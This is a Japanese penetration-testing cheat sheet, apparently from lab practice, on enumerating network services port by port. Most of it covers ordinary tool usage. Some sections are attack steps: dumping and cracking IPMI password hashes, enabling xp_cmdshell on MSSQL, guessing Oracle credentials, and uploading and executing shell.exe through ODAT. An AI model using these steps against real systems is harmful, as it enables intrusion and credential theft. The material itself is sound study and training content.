1.スキャニング
1.1. サービスへの接続
1.1.1. FTP(21)
FTPはファイル転送プロトコルと呼ばれ、異なるシステムの異なるコンピュータ間でのファイル転送を効率的に行うために開発された。
TelnetによるFTP接続
TelnetでFTP接続を行うことも可能。 しかしTelnetではファイルを転送はできない。
telnet IPアドレス 21
- ユーザ名/パスワードを入力しEnter
ログイン後は以下コマンドで操作が可能。
# ログイン
USER [ユーザ名]
PASS [パスワード]
# 追加情報の表示(システムタイプの表示)
SYST
# パッシブモード/アクテイブモードの切り替え
PASV
# TYPE [A|I]でファイル転送モードをASCII/Binaryに切り替え
TYPE [A|I]
FTPへの接続
ftp [IPアドレス | URL]
anonymous FTPの場合のユーザ名はanonymous
。
FTPのコマンド
ftp> [コマンド]
コマンド | 説明 |
---|---|
USER (username) PASS (password) | ログイン情報の記述。 |
ls -la | 隠しファイルも表示。。 |
get (リモートファイル名) (ローカルファイル名) | サーバのファイルをパソコンに転送。 |
mget (リモートファイル名 […]) | サーバの複数のファイルをパソコンに転送。 |
mput (ローカルファイル名 […]) | パソコンの複数のファイルをサーバに転送。 |
put (ローカルファイル名) (リモートファイル名) | パソコンのファイルをサーバに転送。 |
type (転送モード) | 現在のファイル転送モードを表示。 |
passive | パッシブモードへの変換 |
binary | binaryモードへの変換(ファイルDL時に使用) |
1.1.2. SSH(22)
SSH(Secure-Shell)はリモート システム管理のための安全な方法を提供するために作成されたプロトコル。 Telnetに対して以下機能が追加された。
- リモートサーバーの身元を確認できる機能
- メッセージの暗号化
- メッセージの変更の検出機能
ssh
# SSH接続
ssh ユーザ名@IPアドレス
scp
SCPコマンドによるセキュアなファイル転送。
scp ユーザ名@IPアドレス:[ファイルパス] [クライアントのファイルパス]
SSHポートフォワーディング
ローカルポートフォワーディングとリモートポートフォワーディングがある。 共に対象マシンの特定のポートで作動しているサービスをlocalhostでアクセスできるようにするのは共通だがコマンド発行元が異なる。
- ローカルポートフォワーディング
* コマンドは自分のホストで発行
*
ssh -L リモートポート:127.0.0.1:ローカルポート ユーザ名@IPアドレス
- リモートポートフォワーディング * コマンドは相手のホストで発行
1.1.3. TELNET(23)
Telnetは別のコンピュータの仮想端末に接続するために使用されるアプリケーション層プロトコル。 ユーザーは別のコンピュータにログインし、その端末 (コンソール) にアクセスして、プログラムを実行したり、バッチ プロセスを開始したり、システム管理タスクをリモートで実行したりできる。
なおTelnetクライアントと Telnetサーバー間の通信はすべて暗号化されていない。
Telnetでの接続
telnet [IPアドレス]
1.1.4. SMTP(25, 465, 587)
SMTPはMTA間で使用されるメール転送プロトコル。 SMTPのポートが開いているとMTAサーバの機能を提供していると推測できる。
SMTPは平文を使用し、すべてのコマンドが暗号化なしで送信されるため、基本的な Telnetクライアントを使用して SMTPサーバに接続し、メッセージを送信する電子メール クライアント(MUA)として機能できる。
TelnetによるSMTP接続
TelnetでSMTP接続を行うことも可能。 手順は以下の通り。
telnet IPアドレス 25
- ユーザ名/パスワードを入力しEnter
# SMTPセッションの開始
HELO
# 指定したユーザのメールボックスが存在するか確認
VRFY <ユーザ名>
# 指定したメーリングリストのアドレスを確認
EXPN <メールアドレス>
# SMTPセッションの開始
EHLO
# 差出人指定
MAIL FROM: <送信元のメールアドレス>
# 宛先指定
RCPT TO: <送信先のメールアドレス>
# 本文入力開始
DATA
# セッション終了
QUIT
smtp-user-enum
辞書ファイルを使用してメールサーバにユーザが存在するか確認するコマンド。
smtp-user-enum -M VRFY -U <辞書ファイル> -t <IPアドレス>
# よく使うコマンド
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -t <IPアドレス>
1.1.5. DNS(53)
Domain名からIPアドレスを求めるためのプロトコル。
コチラからもDNSの調査に関する項目を確認可能。
hostコマンド
hostコマンドによりレコード確認が可能。
host -t txt megacorpone.com
- -NS(ネームサーバーレコード)…ドメインのDNSレコードをホストする権威サーバーの名前が含まれる
- -A(ホストレコード)…ホスト名のIPアドレスが含まれている
- -MX(mail Exchangeレコード)…ドメインの電子メール処理を担当するサーバーの名前が含まれている
- -PTR(ポインタレコード)…逆引きで使用されIPアドレスに関連するレコードを見つけるために使用される
- -TXT(テキストレコード)…テキストレコードは任意のデータを含むことができ、ドメインの所有権確認などを行える
nslookupコマンド
ドメイン名を特定できる。
nslookup
> server [DNSサーバのIPアドレス]
> [IPアドレス]
サブドメインの列挙
以下ツールなどが使用可能。
- DNSゾーン転送設定の確認
host -l <domain name> <dns server address>
- DNSRecon
- ゾーン転送:
dnsrecon -d [ドメイン名] -t axfr
- ブルートフォース:
dnsrecon -d [ドメイン名] -D ~/list.txt -t brt
- ゾーン転送:
- DNSmap
dnsmap [ドメイン名] -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
1.1.6. HTTP(80)
暗号化を行わないWEBのプロトコル。
WEBの調査はコチラから。
HTML内の調査
HTML内で調査する箇所は以下の通り。
- HTMLファイルのコメントアウト
- HTMLのHEADタグ内(
curl
コマンドなど)
TelnetによるHTTP通信
TelnetでHTTP接続を行うことも可能。 手順は以下の通り。
telnet IPアドレス 80
GET /[ページURI] HTTP/1.1
を入力しEnterhost: telnet
を入力しEnter- Enterを2回押す
Nmapによる調査
nmap -n -Pn <IPアドレス> -p 80 --script http-enum
whatweb
whatwebはCMS名やWebサーバ名を取得するコマンド。
whatweb -v <IPアドレス>
1.1.7. POP3(110)
POP3はメール配信エージェント(MDA)サーバから電子メールメッセージをダウンロードするために使用されるプロトコル。
TelnetによるPOP3接続
TelnetでSMTP接続を行うことも可能。 手順は以下の通り。
telnet IPアドレス 110
- ユーザ名/パスワードを入力しEnter
# ログイン
USER [ユーザ名]
PASS [パスワード]
# 受信ボックス内の件数を表示
STAT
# 受信メールの一覧を表示
LIST
# 番号のメッセージを取得
RETR [メール番号]
# 番号のメッセージを削除
DELE [メール番号]
1.1.8. IMAP(143,993)
IMAPはPOP3より洗練されたプロトコルで複数のデバイス (およびメールクライアント) 間で電子メールの同期を維持できる。
TelnetによるIMAP接続
TelnetでSMTP接続を行うことも可能。 手順は以下の通り。
telnet IPアドレス 143
- ユーザ名/パスワードを入力しEnter
IMAPでは、応答を追跡できるように、各コマンドの前にランダムな文字列を付ける必要がある。
1.1.9. NFS(111)
NFS(Network File System)はクライアントコンピュータのユーザがあたかもローカルにマウントされたストレージ上にあるかのようにファイルにアクセスすることを可能にするプロトコル。
NFSはUNIX系OSで使用されることが多く、その実装は安全ではない。
nmapによるNFS調査
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [IPアドレス]
nmap -p 111 --script nfs* [IPアドレス]
/usr/sbin/showmountを使用したNFS共有の一覧表示
/usr/sbin/showmount -e [IPアドレス]
NFSのマウント
mountコマンドを使用することでファイルのアクセスが可能になる。
mkdir /tmp/mount
sudo mount -t nfs [IPアドレス]:/home /tmp/mount/ -nolock
cd /tmp/mount && ls
1.1.10. SMB(139,445)
NmapによるSMBの列挙
# 共有とユーザー名の列挙
nmap -p 445 --script=smb-enum-shares,smb-enum-users [IPアドレス]
# SMBによるOSの検出や列挙(smb-os-discovery):
nmap -v -p 139, 445 --script=smb-os-discovery [IPアドレス]
# SMBプロトコルの既知の脆弱性をチェックする場合:
# (unsafe=1にした場合、脆弱なシステムをクラッシュさせてしまう可能性があるので、本番システムをスキャンする場合は注意)
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 [IPアドレス]
enum4linux
Enum4linux はWindows と Linux システムの両方でSMB共有を列挙するために使用されるツール。 基本的に Samba パッケージ内のツールのラッパーであり、SMB に関連する情報をターゲットから簡単に迅速に抽出できるようになっている。
enum4linux [IPアドレス]
オプション | 説明 |
---|---|
-S | 共有リスト取得 |
-U | ユーザリスト取得 |
-o | OS情報取得 |
-A | 全ての基本的な列挙 |
-M | マシンリストを取得 |
-N | ネームリストダンプを取得 (-U および-M とは異なります) |
-P | パスワードポリシー情報を取得 |
-G | グループとメンバーのリストを取得 |
smbclient
smbclientはサーバ上のSMB/CIFSリソースにアクセスするftpのようなクライアントツール。
よく使うコマンドは以下の通り。
# SMBで共有されている共有名の調査
smbclient -L //[IPアドレス] -N
# SMBで共有名にアクセス
smbclient //[IPアドレス]/[共有名] -N
# SMBで共有名にログイン情報付きでアクセス
smbclient //[IPアドレス]/[共有名] -U [ユーザ名] -p [ポート番号]
# ユーザ名から共有名の列挙
smbclient -U [ユーザ名] -L target.local
# 現在地のファイル一覧表示
smb> [dir / ls]
# ファイルのダウンロード
smb> get [ファイル名]
# まとめてファイル取得
smb> mget [ファイル名]
# ファイル転送
smb> put [ファイル名] [転送元]
# ファイルの内容表示
smb> more "ファイル名"
smbmap
smbmapは共有ドライブ名、パーミッション、ドライブ内のコンテンツを列挙するツール。
smbmap -H <IPアドレス> ( -R -u <ユーザ名> -p <パスワード>)
SMB共有フォルダのマウント
sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=
sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=
1.1.11. NetBIOS(139)
NetBIOSはLAN上のコンピュータが相互に通信できるようにするセッション層のプロトコル。
Nmapによるスキャン
nmap -v -p 139,445 -oG result.txt [IPアドレス]
nbtscan
nbtscanはネットワーク上に存在するNetBIOS名をスキャンするコマンド。
オプション-r
を使用することで発信元のUDPポートを137に指定している。
sudo nbtscan -r [IPアドレス]/24
nmblookup
nmblookupはNetBIOS名とIPアドレスの変換を行うコマンド。
nmblookup -A <IPアドレス/NetBIOS名>
rbcclient
MS-RPCを使用して情報列挙が可能なコマンド。
rpcclient <IPアドレス> -U "" -N
1.1.12. SNMP(161)
SNMPはTCP/IPネットワークに接続された通信機器(ルータ、スイッチ、サーバなど)に対して、ネットワーク経由で監視、制御するためのUDPベースのアプリケーション層プロトコル。 以下の情報を入手可能。
- システム名
- ハードウェアタイプ
- アカウント情報
- サービス一覧
- 導入アプリケーションの種類
- TCP/UDP接続情報
SNMP1,2,2cではトラフィックの暗号化が行われていないため、SNMP情報や認証情報をローカルネットワーク上で傍受することができてしまう。 MIBはネットワーク管理に関連する情報を含むデータベースのことでツリー上になっている。 その下にSNMPコミュニティと呼ばれるSNMPで管理するネットワークシステムの範囲を定めたものがある。
snmp-check
SNMPで得られる情報を列挙するコマンド。
snmp-check 192.168.124.42
snmp-check -c <コミュニティ名> -v <SNMPバージョン(1,2,2c)> <IPアドレス>
onesixtyone
SNMPエージェント機能が有効なホストを探すコマンド。
onesixtyone <IPアドレス/CIDR> <コミュニティ名>
onesixtyone <IPアドレス> -c <コミュニティ名辞書ファイル>
Windows SNMPの列挙
kali@kali:~$ snmpwalk -c [コミュニティ文字列を指定] -v[SNMPバージョン番号の指定] -t [タイムアウト期間の設定:10] 10.10.10.1
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 12 Stepping 2 AT/AT COMPAT
IBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (2005539644) 232 days, 2:56:36.44
iso.3.6.1.2.1.1.4.0 = ""
1.1.13. IPMI(623)
IPMIは遠隔からネットワークを通じてコンピュータのハードウェアの状態を監視したり、管理のための操作を行なうための標準インターフェース規格のこと。
# ポート開放の確認
sudo nmap -sU -p 623 -sC -sV [IPアドレス]
# バージョン特定
msf6 > use auxiliary/scanner/ipmi/ipmi_version
# IPMI2.0の脆弱性を利用したパスワードハッシュのダンプ
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
# ダンプしたパスワードハッシュのクラック
hashcat -m 7300 hash /usr/share/wordlist/rockyou.txt
# impipwner.pyを利用したパスワードハッシュのダンプとクラック
sudo python3 ipmipwner.py --host [IPアドレス] -c john -oH hash -pW /usr/share/wordlists/rockyou.txt
1.1.14. Rsyncd(873)
RsyncはUNIXシステムにおいて使用される遠隔地間のファイルやディレクトリの同期を行うアプリケーションソフトウェアのこと。 差分符号化を使ってデータ転送量を最小化して行われる。
netcatを使用した列挙
nc -nv [IPアドレス] 873
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
fox fox home
@RSYNCD: EXIT
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g # → これはパスワードが必要であることを意味する
nmapを使用した列挙
nmap -sV --script "rsync-list-modules" -p 873 [IPアドレス]
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nmap -sV --script "rsync-list-modules" -p 873 192.168.227.126
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 13:05 JST
Nmap scan report for 192.168.227.126
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
| rsync-list-modules:
|_ fox fox home
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds
1.1.15. Microsoft SQL Server(1433)
Microsoft SQL Serverはマイクロソフトが開発する関係データベース管理システム。
インストール/アクセス
sudo apt install sqlcmd
sqlcmd -U [ユーザ名] -S [接続先]
# or
sqsh -U [ユーザ名] -S [接続先]
mssqlclient.py(imppacket)を利用したコマンドの実行。
まずimpacket
をGithubよりインストール。
~/impacket/examples/mssqlclient.py
でコマンドを実行。
mssqlclient.py <ユーザ名>@<IPアドレス> -windows-auth
xp_cmdshellを利用したコマンド実行
# xp_cmdshellの有効化
-- アドバンスオプションの変更を許可
1> EXECUTE sp_configure 'show advanced options', 1;
2> go
-- アドバンスオプションの現在の設定を更新
1> RECONFIGURE;
2> go
-- xp_cmdshellを有効化
1> EXECUTE sp_configure 'xp_cmdshell', 1;
2> go
-- 更新
1> RECONFIGURE;
2> go
1.1.16. Oracle TNS Listener(1521)
Oracle Net Listenerはデータベース・サーバー・コンピュータで実行される独立したプロセス。 着信中のクライアント接続要求を受信し、データベース・サーバーに対する要求の通信量を管理する。
インストール
sudo pip3 install cx_Oracle
sudo apt-get install python3-scapy
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
コマンドと操作
# All Check
python3 odat.py all -s 10.10.10.82 -p 1521
# SIDの特定
python3 odat.py sidguesser -s 10.10.10.82 -p 1521
[+] SIDs found on the 10.10.10.82:1521 server: XE
# 認証情報の特定(-dは特定したSIDを指定)
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE
# 認証情報の特定(アカウントファイルの指定)
ここではmetasploitのoracle用ファイルを使用
ただし、ODATでは認証情報のファイルに「/」で区切ったものが必要なためEmacsなどでスペースと/を置き換える。
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file oracle_default_userpass.txt
[+] Accounts found on 10.10.10.82:1521/sid:XE:
scott/tiger
# 権限の確認
ファイルのアップロード権限(utlfile)や実行権限(externaltable)を列挙
python3 odat.py all -s 10.10.10.82 -d XE -U scott -P tiger --sysdba
# ペイロードのアップロード
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile "c:\Windows\Temp" "shell.exe" "shell.exe"
[+] The shell.exe file was created on the c:\Windows\Temp directory on the 10.10.10.82 server like the shell.exe file
# アップロードしたペイロードの実行
python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec "C:\Windows\Temp" "shell.exe"
[1] (10.10.10.82:1521): Execute the shell.exe command stored in the C:\Windows\Temp path
# データベースへ接続
sqlplus SCOTT/[email protected]:1521/XE
# as sysdbaはOracle版sudo
sqlplus SCOTT/[email protected]:1521/XE as sysdba
1.1.17. MySQL(3306)
MySQLはオープンソースのリレーショナルデータベース管理システム。
mysql -u root -p
mysql -u root -p -h [IPアドレス | ホスト名] -P [ポート番号]
mysql -u root -e 'SHOW DATABASES;'
オプション | 説明 |
---|---|
-D | データベースの指定 \ |
-e | CMDからSQLコマンドを実行 |
-h | ホスト名の指定 |
-p | パスワードの指定 |
-u | ユーザ名の指定 |
MySQL(MariaDB)への接続
mysql -h [接続先ホスト] -u [ユーザ名] -p [パスワード]
基本的なMySQLコマンド
# データベース一覧の確認
mysql > show databases;
mysql > select database();
# データベースの選択
use [データベース名];
# データベースの追加
mysql > create database [データベース名];
# テーブル一覧の表示
mysql > show tables;
# 全レコードを選択
SELECT * FROM <テーブル名>;
# テーブル構造の確認(フィールドを整理して表示してくれるため、下記のユーザ情報取得をすると見やすい)
describe <テーブル名>;
# ユーザ情報取得
SELECT Host, User, Password FROM <テーブル名>;
# ユーザの追加
create user <追加するusername>@<host name> IDENTIFIED BY <password>;
# 権限付与
grant all privileges on test_db.* to <username>@<host name> IDENTIFIED BY <password>;
1.1.18. PostgreSQL(5432)
PostgreSQLもMySQLと同様のリレーショナルデータベース管理システムの1つ。
psql -h [IPアドレス | ホスト名] -U postgres
psql -h [IPアドレス | ホスト名] -p 5437 -U postgres
オプション | 説明 |
---|---|
-h | ホスト名の指定 |
-U | ユーザ名 |
-p | ポートの指定 |
基本的なPostgreのコマンド
# PostgreSQL ディレクトリの一覧
postgres=# select pg_ls_dir('./');
# サーバ側のpostgresファイル読み取り
postgres=# select pg_read_file('PG_VERSION', 0, 200);